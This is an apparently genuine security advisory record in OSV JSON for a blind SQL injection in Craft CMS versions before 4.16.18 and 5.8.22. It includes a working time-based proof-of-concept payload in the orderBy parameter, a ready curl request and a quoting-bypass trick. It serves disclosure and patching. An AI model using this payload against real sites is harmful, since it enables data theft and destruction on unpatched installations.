CVE-2026-25495: Craftcms/cms SQL Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2453-mppf-46cj",
  "modified" : "2026-02-09T22:38:37Z",
  "published" : "2026-02-09T20:35:41Z",
  "aliases" : [ "CVE-2026-25495" ],
  "summary" : "Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`",
  "details" : "## Summary\n\nThe `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.\nAn attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).\n\n> [!NOTE]\n> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.\n\n---\n## PoC\n### Required Permissions\n\n- Access to the Control Panel\n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)\n3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`\n4. Modify the JSON body to the following:\n```json\n{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(5)) --\"},\"viewState\":{\"static\":false}}\n```\n5. Send the request\n6. Observe a delay in the response (delay = rows × sleep time)\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):\n```bash\ncurl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\User\\\",\\\"source\\\":\\\"*\\\",\\\"baseCriteria\\\":{\\\"siteId\\\":1},\\\"criteria\\\":{\\\"limit\\\":100,\\\"orderBy\\\": \\\"(elements.id) DESC, (SELECT SLEEP(0.2)) --\\\"},\\\"viewState\\\":{\\\"static\\\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'\n```\n\n### Impact\n\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character.\n- **Modify or destroy data** (drop tables, update records, alter schema).\n\n### Root Cause\nThe `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.8.22"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.21"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.16.18"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.16.17"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25495"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/releases/tag/4.16.18"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/releases/tag/5.8.22"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-09T20:35:41Z",
    "nvd_published_at" : "2026-02-09T20:15:58Z"
  }
}